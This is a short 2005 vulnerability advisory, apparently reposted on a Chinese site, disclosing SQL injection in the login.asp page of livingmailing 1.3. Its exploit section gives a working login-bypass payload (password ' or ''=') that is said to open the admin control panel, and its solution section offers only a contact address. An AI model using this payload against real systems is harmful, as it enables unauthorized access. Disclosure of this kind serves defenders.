Login.asp SQL injection

2005-6-3 02:43 718 0

摘要: ADVISORY INFORMATION

关键词： livingmailing under http Control com Panel round Login Admin ServerVulnerabil

ADVISORY INFORMATION --------------------------------------------------------------------------------------------Software Package :livingmailingVendor Homepage :http://livingcolor.it Platforms :Windows Base ServerVulnerability :SqlinjectionRisk :High!Vulnerable Versions :livingmailing vers. 1.3--------------------------------------------------------------------------------------------SUMMARY--------------------------------------------------------------------------------------------livingmailing is a Admin Control Panel Management System --------------------------------------------------------------------------------------------EXPLOIT--------------------------------------------------------------------------------------------Uername =adminPassword= ' or ''='This Is The Login File>>> /login.aspBy Using This User And Password You Will Be Taken to Admin Control Panel --------------------------------------------------------------------------------------------HOME PAGE--------------------------------------------------------------------------------------------Http://www.under9round.com--------------------------------------------------------------------------------------------SOLUTION --------------------------------------------------------------------------------------------Contact Me At: udnst@yahoo.com--------------------------------------------------------------------------------------------GREETINGS--------------------------------------------------------------------------------------------Specilas Greetz To My Best Friend Last-Samurai And All Under9roundDigital Security Members--------------------------------------------------------------------------------------------CEREDITS--------------------------------------------------------------------------------------------Discovered By Romty (Morteza Panahi)--------------------------------------------------------------------------------------------REFERENCES --------------------------------------------------------------------------------------------http://www.under9round.com/lmg.txt++++++++++++++++++++< UNDER9ROUND DIGITAL SECURITY TEAM>>++++++++++++++++++++++

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除